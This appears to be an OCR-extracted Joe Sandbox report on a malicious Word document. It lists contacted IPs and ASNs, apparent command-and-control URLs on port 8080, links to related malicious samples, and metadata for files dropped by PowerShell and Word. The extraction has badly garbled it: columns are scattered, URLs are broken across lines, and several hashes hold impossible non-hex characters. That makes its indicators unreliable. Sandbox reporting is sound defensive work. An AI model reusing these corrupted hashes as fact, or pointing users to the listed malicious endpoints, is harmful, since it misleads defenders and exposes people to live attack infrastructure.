Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:

Copyright null 2021

Country
United States

India

United States
Norway

United States

Flag

I | [

ASN
46606
133643

13335
2116
26878

ASN Name Malicious

UNIFIEDLAYER-AS-1US true

EWEBGURU- true
ASEWEBGURUIN

CLOUDFLARENETUS true
ASN-CATCHCOMNO true
TWRS-NYCUS true

31.0.0 Emerald

343741

25.01.2021

15:11:43

CloudBasic

Oh 7m 45s

false

light

FP4554867134UQ.doc
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

16

o O o o

e HCA enabled
e EGA enabled
e HDC enabled
e GSl enabled (VBA)
e AMSI enabled

default
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Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winDOC@24/14@3/5

EGA Information: e Successful, ratio: 88.9%

HDC Information: e Successful, ratio: 31.6% (good quality ratio 29.4%)

e Quality average: 70.8%
e Quality standard deviation: 26.8%

HCA Information: e Successful, ratio: 80%
e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
Found application associated with file extension:
.doc
Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog
Click Ok
Attach to Office via COM
Scroll down
Close Viewer

Warnings: Show All

e Exclude process from analysis (whitelisted):
dllhost.exe, conhost.exe

e TCP Packets have been reduced to 100

e Excluded IPs from analysis (whitelisted):
91.199.212.52, 93.184.221.240, 2.20.142.210,
2.20.142.209

e Excluded domains from analysis (whitelisted):
au.download.windowsupdate.com.edgesuite.net,
crt.usertrust.com, wu.ec.azureedge.net,
audownload.windowsupdate.nsatc.net,
csll.wpc.vOcdn.net, hib.apr-52dd2-
0.edgecastdns.net, ctldl.windowsupdate.com,
a767.dscg3.akamai.net, wu.wpc.apr-
52dd2.edgecastdns.net, au-bg-
shim.trafficmanager.net, wu.azureedge.net

e Execution Graph export aborted for target
powershell.exe, PID 2532 because it is empty

e Report size exceeded maximum capacity and may
have missing behavior information.

e Report size getting too big, too many
NtOpenKeyEx calls found.

e Report size getting too big, too many
NtQueryAttributesFile calls found.

e Report size getting too big, too many
NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time Type Description

15:12:38 API Interceptor 1x Sleep call for process: msg.exe modified
15:12:39 API Interceptor 74x Sleep call for process: powershell.exe modified
15:12:57 API Interceptor 488x Sleep call for process: rundll32.exe modified

Joe Sandbox View | Context

IPs
Match Associated Sample Name /| URL SHA 256 Detection Link Context
192.232.250.227 Get hash malicious Browse e jbsmediav

entures.co
m/wp-content/V/
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https://view.joesandbox.com/analysis/257651/html/none?idtype=webid

Match
195.159.28.230

69.38.130.14

Domains

Match
dripsweet.com

jbsmediaventures.com

ASN

Match
EWEBGURU-ASEWEBGURUIN

Copyright null 2021

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

>
"
]
o
Q,
2
@
o
(7]
i
3
j=
®©
2
g
3
®
(=
A
[l

Associated Sample Name / URL SHA 256
Get hash
Get hash

Associated Sample Name / URL SHA 256
p Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious

malicious

Detection

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link
Browse

Browse

Link

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

195.159.2
8.230:8080
/gx5bd9nft
keamx9go/t
fdln5eo46a
peeemfOb/m
j4150jmaay
6lk5516s/f
visgplwl/jg
0i7zg/0vip
wrsidwovyhl/

195.159.2
8.230:8080
/udvcbkerc
cn0gjbn6d/
1p4mOogpud
figr/mxqgkk/

195.159.2
8.230:8080
/ul4g/zkdé
myomm2wuro
5/q121fslb
Ip4j4u7p7n
y/boxgafOo
rlu8p9yryw
clamf/

195.159.2
8.230:8080
JorsnigOhr
2s74h42s/s
6f51/8oomd
sfuyoft/ut
3wi8zellmd
cgp5d/zu7j
1c9ns/otpt
uv61n2r997toe/

195.159.2
8.230:8080
/3j8r06xre
/8aflom7at
/nfsdzovs6
zi5xy894/pzjbw/

195.159.2
8.230:8080
/n0jv/20kk
dc3Ip37nlr
7yr9l/7flouhOjxz/

Context

104.21.43.16

192.232.25
0.227

Context

103.133.21
5.103

103.133.214.89
103.133.214.89
103.133.214.89
103.133.214.89
103.133.214.89
103.133.214.89
103.133.214.89
103.133.214.89
103.133.214.89
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https://view.joesandbox.com/analysis/257750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257750/html/none?idtype=webid
https://view.joesandbox.com/analysis/257673/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257673/html/none?idtype=webid
https://view.joesandbox.com/analysis/257632/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257632/html/none?idtype=webid
https://view.joesandbox.com/analysis/257628/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257628/html/none?idtype=webid
https://view.joesandbox.com/analysis/257626/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257626/html/none?idtype=webid
https://view.joesandbox.com/analysis/257622/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257622/html/none?idtype=webid
https://view.joesandbox.com/analysis/257750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257750/html/none?idtype=webid
https://view.joesandbox.com/analysis/257673/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257673/html/none?idtype=webid
https://view.joesandbox.com/analysis/257635/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257635/html/none?idtype=webid
https://view.joesandbox.com/analysis/257632/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257632/html/none?idtype=webid
https://view.joesandbox.com/analysis/257628/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257628/html/none?idtype=webid
https://view.joesandbox.com/analysis/257626/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257626/html/none?idtype=webid
https://view.joesandbox.com/analysis/257622/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257622/html/none?idtype=webid
https://view.joesandbox.com/analysis/257651/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257651/html/none?idtype=webid
https://view.joesandbox.com/analysis/257651/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257651/html/none?idtype=webid
https://view.joesandbox.com/analysis/205320/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/205320/html/none?idtype=webid
https://view.joesandbox.com/analysis/189329/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189329/html/none?idtype=webid
https://view.joesandbox.com/analysis/189323/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189323/html/none?idtype=webid
https://view.joesandbox.com/analysis/189322/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189322/html/none?idtype=webid
https://view.joesandbox.com/analysis/189309/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189309/html/none?idtype=webid
https://view.joesandbox.com/analysis/189307/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189307/html/none?idtype=webid
https://view.joesandbox.com/analysis/189304/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189304/html/none?idtype=webid
https://view.joesandbox.com/analysis/189298/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189298/html/none?idtype=webid
https://view.joesandbox.com/analysis/189293/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189293/html/none?idtype=webid
https://view.joesandbox.com/analysis/189292/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189292/html/none?idtype=webid

Match

CLOUDFLARENETUS

UNIFIEDLAYER-AS-1US

JA3 Fingerprints
No context
Dropped Files

No context

Copyright null 2021

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash

Get hash
Get hash

>
»
]
=]
o,
2
@
o
[7]
o
3
=2
5
2
S
3
@
c
A
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Get hash

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious

malicious

malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse

Browse

Browse
Browse

Browse

Context

103.133.214.89
103.133.214.89
103.133.214.89
103.133.214.89
103.133.214.89
103.133.214.89
103.133.214.89
103.133.214.89
103.133.214.89
103.133.214.89
104.21.23.220
172.67.213.245
172.67.156.114
172.67.156.114
172.67.156.114
104.16.19.94

104.21.89.45
104.21.89.45
23.227.38.74
172.67.188.154
172.67.143.106

172.67.38.97
104.22.53.65
104.21.89.78
172.67.134.127
104.23.139.25
104.23.141.25
104.21.36.35
104.21.23.220
172.67.213.245
192.185.52.115
192.185.52.115
192.185.52.115
50.87.150.0

192.185.52.115
192.185.52.115
50.87.232.245

108.179.242.70
108.167.136.53

162.241.22
4.176

162.241.22
4.176

192.232.25
0.227

162.241.25
3.129

50.87.150.0
74.220.199.6
162.241.225.18

162.241.25
3.129

198.57.200.100
198.57.200.100
198.57.200.100
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https://view.joesandbox.com/analysis/189291/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189291/html/none?idtype=webid
https://view.joesandbox.com/analysis/189290/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189290/html/none?idtype=webid
https://view.joesandbox.com/analysis/189288/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189288/html/none?idtype=webid
https://view.joesandbox.com/analysis/189287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189287/html/none?idtype=webid
https://view.joesandbox.com/analysis/189283/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189283/html/none?idtype=webid
https://view.joesandbox.com/analysis/189281/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189281/html/none?idtype=webid
https://view.joesandbox.com/analysis/189278/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189278/html/none?idtype=webid
https://view.joesandbox.com/analysis/189277/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189277/html/none?idtype=webid
https://view.joesandbox.com/analysis/189273/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189273/html/none?idtype=webid
https://view.joesandbox.com/analysis/189269/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189269/html/none?idtype=webid
https://view.joesandbox.com/analysis/257856/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257856/html/none?idtype=webid
https://view.joesandbox.com/analysis/257855/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257855/html/none?idtype=webid
https://view.joesandbox.com/analysis/257835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257835/html/none?idtype=webid
https://view.joesandbox.com/analysis/257834/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257834/html/none?idtype=webid
https://view.joesandbox.com/analysis/257828/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257828/html/none?idtype=webid
https://view.joesandbox.com/analysis/257826/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257826/html/none?idtype=webid
https://view.joesandbox.com/analysis/257816/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257816/html/none?idtype=webid
https://view.joesandbox.com/analysis/257815/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257815/html/none?idtype=webid
https://view.joesandbox.com/analysis/257798/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257798/html/none?idtype=webid
https://view.joesandbox.com/analysis/257792/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257792/html/none?idtype=webid
https://view.joesandbox.com/analysis/257779/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257779/html/none?idtype=webid
https://view.joesandbox.com/analysis/257756/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257756/html/none?idtype=webid
https://view.joesandbox.com/analysis/257755/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257755/html/none?idtype=webid
https://view.joesandbox.com/analysis/257750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257750/html/none?idtype=webid
https://view.joesandbox.com/analysis/257748/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257748/html/none?idtype=webid
https://view.joesandbox.com/analysis/257743/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257743/html/none?idtype=webid
https://view.joesandbox.com/analysis/257742/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257742/html/none?idtype=webid
https://view.joesandbox.com/analysis/257741/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257741/html/none?idtype=webid
https://view.joesandbox.com/analysis/257735/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257735/html/none?idtype=webid
https://view.joesandbox.com/analysis/257733/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257733/html/none?idtype=webid
https://view.joesandbox.com/analysis/257835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257835/html/none?idtype=webid
https://view.joesandbox.com/analysis/257834/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257834/html/none?idtype=webid
https://view.joesandbox.com/analysis/257828/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257828/html/none?idtype=webid
https://view.joesandbox.com/analysis/257826/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257826/html/none?idtype=webid
https://view.joesandbox.com/analysis/257816/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257816/html/none?idtype=webid
https://view.joesandbox.com/analysis/257815/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257815/html/none?idtype=webid
https://view.joesandbox.com/analysis/257811/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257811/html/none?idtype=webid
https://view.joesandbox.com/analysis/257798/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257798/html/none?idtype=webid
https://view.joesandbox.com/analysis/257789/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257789/html/none?idtype=webid
https://view.joesandbox.com/analysis/257750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257750/html/none?idtype=webid
https://view.joesandbox.com/analysis/257673/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257673/html/none?idtype=webid
https://view.joesandbox.com/analysis/257651/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257651/html/none?idtype=webid
https://view.joesandbox.com/analysis/257645/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257645/html/none?idtype=webid
https://view.joesandbox.com/analysis/257582/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257582/html/none?idtype=webid
https://view.joesandbox.com/analysis/257526/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257526/html/none?idtype=webid
https://view.joesandbox.com/analysis/257490/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257490/html/none?idtype=webid
https://view.joesandbox.com/analysis/257484/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257484/html/none?idtype=webid
https://view.joesandbox.com/analysis/257366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257366/html/none?idtype=webid
https://view.joesandbox.com/analysis/257365/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257365/html/none?idtype=webid
https://view.joesandbox.com/analysis/257363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257363/html/none?idtype=webid
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Created | dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 E

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: Microsoft Cabinet archive data, 58936 bytes, 1 file

Category: dropped

Size (bytes): 58936

Entropy (8bit):  7.994797855729196

Encrypted: true

SSDEEP: 768:A2CCXehkvodpN73AJjDzh85ApA37vK5cIxQh+alLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAVEZrGclxOhoW6qCLdNz2pj

MD5: E4AF1E21910443409E81E5B55DC8DE774

SHA1L: EC0885660BD216D0CDD5E6762B2F595376995BD0

SHA-256: CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5

SHA-512: 2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1ASA151EDA2A7AAG4D5250AEDI08C3B46AFE7262E66D957B255F6D57B6A6BBIE4F9324F2C22E9BF0882
46

Malicious: false

Reputation: high, very likely benign file

Preview:
MSCF....8....... et Lo S LQ.v .authroot.stl..0(/.5..CK..8T....c_.d....(...... M$[v.4CH)-.%.QIR..$t)Kd...D....3.n..U..............].. =H4.U=...X..gn.+S.AJ.....y.n.v.XC...
3a.l. .c(...p.]-M.... 4. i JC.@.[. #xUU.*D..agaV..2.|.g..Y .j .@.Q...... codiso f+lc 940 2ls A wet LLs 0>/ pfiT ULLLLs A wz AgLY

7{.0....... ..C..2....P0%.Y..?m....Z20.g3.>WO0&.y|(....]. >... ..R.qB.. )....e..]....Cxj..f.8.Z.&.G.....
..b....0GQ.V..q..Y. Z. o\.cD"0."Y.....SV..g...Y.....o.=....k..u.
.s.kV?@...M...S.n":G....U.ev..>...q.".$.)3..T....m.....6...1rIH.B <.ht..8.s..u[.N.dL.%...q....g..;T..L..5..\.....g... e AS:..s

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\E0968A1E3A40D2582E7FD463BAEB59CD

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: data
Category: dropped
Size (bytes): 1413
Entropy (8bit): 7.480496427934893
Encrypted: false
SSDEEP: 24:yYvIm3RW8571j3kTte TUQRFjGgZLE5XBy9+JY SE19rVAVsGnyI3SKB7:PL854TTuQL/ZoXQ9+mrGVrb3R
MDS5: 285EC909C4AB0OD2D57F5086B225799AA
SHA1L: D89E3BD43D5D909B47A18977AA9D5CE36CEE184C
SHA-256: 68B9C761219A5B1F0131784474665DB61BBDB109EOOF05CA9F74244EE5F5F52B
SHA-512: 4CF305B95F94C7A9504C53C7F2DC8068E647A326D95976B7F4D80433B2284506FC5E3BBIAB0A4EIAI889540BBF92908DD3IEE4EB25F2566FE9AB37B4DCIA7CO
Malicious: false
Preview:
0...0.0..e.. 9rD:.".Q..1..15.0..* H........ 0{1.0...U....GB1.0...U....Greater Manchester1.0...U....Salford1.0...U....Comodo CA Limited1!0...U....AAA Certificate Services0...19031

2000000Z..28123123595970..1.0...U....US1.0...U....New Jersey1.0...U....Jersey City1.0...U....The USERTRUST Network1.0,..U...%USERTrust RSA Certification Authori
Q..gF.Q.T?2.3.~.....Q.5..frg.f. x..Pi....L..B.WZ...=.,
.%&k3m.nG.sC.~..f)|2.cU.... TO...}7.JiI5\A..l.....b..f.%...2.9.....L k. A.g....[.L.[.s.#-..5Utl
&FJIP..x..g..W...c.b.._U.\.(.%9..+.L.2.R..L........ 0..0..U#..0....#>.....)...0..0...U.....Sy.Z+J.T....... f.0

LU 0..U... 0....0..U

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 326

Entropy (8bit): 3.1104823335779463

Encrypted: false

SSDEEP: 6:kKxI3SWwWDN+SKQIPIEGYRMY9z+4KIDA3RUegeT6If:8kPIE99SNXxAhUege T2

MD5: DD687898C5768C221FFIE9648A8055D5

SHA1L: DEB5DB48673139AEBD37D69819D5BAB790B6F696

SHA-256: 867154616B0O6BAB38EBF67C80CB64F236EA966F3CE36391F3D284BC44E8B4766

SHA-512: 13E55AA2E1CC1A68D200BD942FA448B0B25C9102237A438F11F5DFA477ADICOBAFDD63B24129357AFF59AA9EES72B6FAC3F1F3E7AD5989B9864879E8C74EB6I
A

Malicious: false

Preview:

ey 0 s Yoo B 8..h.ttp..//ctldl. w.ind.ow.s.u.p.date..com/ms.dow.n.lo.ad./u.p.date./v.3./s.
tatic./trustedr/en/authro.o.ts.tl.cab.."0.6.9.559.e.2.a.0.d.6.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\E0968A1E3A40D2582E7FD463BAEB59CD

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: data
Category: dropped
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C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\E0968A1E3A40D2582E7FD463BAEB59CD

Size (bytes): 250

Entropy (8bit): 2.969287375524799

Encrypted: false

SSDEEP: 3:kkFKINIfolNILflIIXIE/IQc) T 18tlwiANjpU+plgh3VEkax3QbaLU15lqErtd9Im:kKs3UQAbjMulgokaWbLOW+n

MDS5: 96FOED67FF3E624D033AA4631EC396EE

SHA1L: 8624B7755883A77E3E61A2AAB860581C76012366B

SHA-256: E28B6CF92A5C516BE5S77FF667519965DED40A83F58440B4BFCA7BB4CFOB3DIFE

SHA-512: 3C2EE558EB9087082420BEF54C60D3A4C841B008DB6BBB5ESD89D11CB1EED2050510DC1B8CI8C3EFCBB36740E30F4A78B96C8701BF6918D3EC8062C636C41(
E6

Malicious: false

Preview:

(f..@8.... ...http./lert. usertrust.com/USERTrustRSAAddTrustCA. cr.t..

".5.c.8.6.f.6.8.0.-.5.8.5.

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{787A42EB-DESE-4300-98F0-AE5841A8170E}.tmp
Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit): 0.05390218305374581

Encrypted: false

SSDEEP: 3:013lYdn:4Wn

MDS5: 5D4D94EE7E06BBBOAF9584119797B23A

SHA1L: DBB111419C704F116EFA8E72471DD83E86E49677

SHA-256: 4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

SHA-512: 95F83AEB84CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

Malicious: false

Preview:

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{83A1AA3C-A4A2-4116-9FFA-5D688B84E1DE}.tmp
Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1536

Entropy (8bit): 1.3586208805849453

Encrypted: false

SSDEEP: Bliiiiiiiiif3l/HInl/bl/1/blIBI/PvvvvvwwwwFI/IAgsalHIBIIdHzIb L liiiiiiiifdLIoZQc8++IsJe IMzEI

MDS5: 23ECB1FA955E5141B5EBA84B4895CF6C

SHA1L: A9D44CD85FF02B594147D51803037CBEEA136A90

SHA-256: 30472E28C5C1BF76B91D862C8CB01C41773D4B6F0C4788CDI9CB7BBCB9772583C

SHA-512: 330DB3C374CAB68FA7A4D1B4FCD099D81AB09FE988C8D7173C59CI90EDBDA14120FC8A18CC30B4775D57D8AD7ESE8691994ACB125F32CAAE711190F634885C
6

Malicious: false

Preview:

ol ALDUS. A,

C:\Users\user\AppData\Local\Temp\CabFA37.tmp E

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: Microsoft Cabinet archive data, 58936 bytes, 1 file

Category: dropped

Size (bytes): 58936

Entropy (8bit):  7.994797855729196

Encrypted: true

SSDEEP: 768:A2CCXehkvodpN73AJjDzh85ApA37vK5cIxQh+aLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAVEZrGclxOhoW6qCLdNz2pj

MD5: E4F1E21910443409E81E5B55DC8DE774

SHA1L: EC0885660BD216D0CDD5E6762B2F595376995BD0

SHA-256: CF99E08369397577BE949FBF1E4BF06943BC8027996 AE65CEB39E38DD3BD30F5

SHA-512: 2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAALASA151EDA2A7AAG64D5250AEDI08C3B46AFE7262E66D957B255F6D57B6A6BBIE4F9324F2C22E9BF0882
46

Malicious: false
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C:\Users\user\AppData\Local\Temp\CabFA37.tmp E

Preview:

MSCF....8.......
3a.l...]..c(...p..]..M..

S LQ.v .authroot.stl..0(/.5..CK..8T....c_.d....(.....].M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..
4. JC.@.[.#xUU..*D..agaV..2.|.9..Y. j .@.Q....n7TR.. .. .s..f.+..c.9+[|0. . 2ls...a...w.t..LLs.
..C..2....P03$.Y..?m....Z20.g3.>WO0&.y|(....]. >... ..R.gB..f.....y.cEB.V=.....hy}....t6b.q./~.p

|.=H4.U=..X..qn.+S.AJ.....y.n.v.XC...
0> #. . pfi7.U.....s. M wz. Ag.Y....

.60...eCS4.0......d..}.<,nh.;....)....e.]...Cx]..f.8.Z.&.G.....
Z.N.N...Uf.q">}........ o\.cD"0."Y.....SV..g...Y.....o.=....k..u.

C:\Users\luser\AppData\Local\Temp\TarFA38.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

dropped

152533

6.31602258454967

false
1536:SIPLIYy2pRSjgCyrYBb5HQop4Ydm6CWku2Ptlz0jD1rfJs42t6WP:S4LIpRScCy+fdmcku2PagwQA
D0682A3C344DFC62FB18D5A539F81F61

09D3E9B899785DA377DF2518C6175D70CCFIDA33
4788F7F15DE8063BB3B2547AF1BDICDBD0596359550E53ECI8E532B2ADB5EC5A
0E884D65C738879C7038C8FB592F53DD515E630AEACCIDIESFI013606364F092ACF7D832E1ABDAC86A1FOBOE906B2302EE3A840A503654F2B39A65B2FEA04EC

false

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\FP4554867134UQ.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:13 2020, mtime=Wed Aug 26 14:08:13 2020,
atime=Mon Jan 25 22:12:35 2021, length=172544, window=hide

dropped

2068

4.514230516410863

false

24:8xMI/XTwz61knW1eKCDv3qgldM7dD2xMI/XTwz61knW1eKCDv3gldM7dV:8yl/XT3IkIPIQh2yl/XT3IKIPIQ/

FD109C17EB9A4CD91D21CCEFOFF35E48

D84799DF4151E38106BDC046281E6AECFC5A221D

B4223632B719F5C6D6BESBE3A108987FC1CB174472AA9946EFAFS6EB217BCB67
1DCED8C154AE25BF6B5ESACEBB4E886276E3D27E03166ED571FDFBFE65F893496F465CF646658265BA75B8FBD2012A602344EDFE881C03DC66F1C732D40D34:

.6 Users.@.s.h.ell3.2.dll,.-
.D.essk.to.p.@.s.hell3.2.dlLl,
...... ?2J.....C:\Users\.#......
..LB.)..Ag... 1SPS.XF.L8C.
..D_...3N.LLW.9F.C.....e [D_

.Q.y..user.8......QK.X.Q.y* LU
.1.7.6.9....n.2....9R.. .FP4554~1.DOC..R....... Q.y.Q.y*..8.. oo F.P.45.5.48.6.7.1.3.4.U.Q...d.0.C....... (1. .
\\287400\Users.user\Desktop\FP4554867134UQ.doc.).....\....\....\....\....\.D.e.s.k.t.o.p.\.F.P.4.5.5.4.8.6.7.1.3.4.U.Q...d.o.C.....
..&mm..........-...S.-.1.-5.-.2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............” Xevornn 287400.

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

80

4.464656926154448

false

3:M14c6zVo7bp6zVomX14c6zVov:MoVweVSVy
C5516225E8D161DF6A5551C790942C42
DCO4AEF50138238382E85DF83FAA2EB94A3C7983
0A88BB3DC41F8342E8D7B8F52F5BEA2A1B122DAF04F6A8FE9E05705A60F14D3C
EA0C178322395B08B69B102974579DF8B5372A1A1A57CB3027E3E88DBA51C0F38446DD1E42733AB25BD7372888A4AB04E9744392FFFC81AA93752C9EOEA98B14

false

[doc]..FP4554867134UQ.LNK=0..FP4554867134UQ.LNK=0..[doc]..FP4554867134UQ.LNK=0..

C:\Users\luser\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
Category:

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
data

dropped
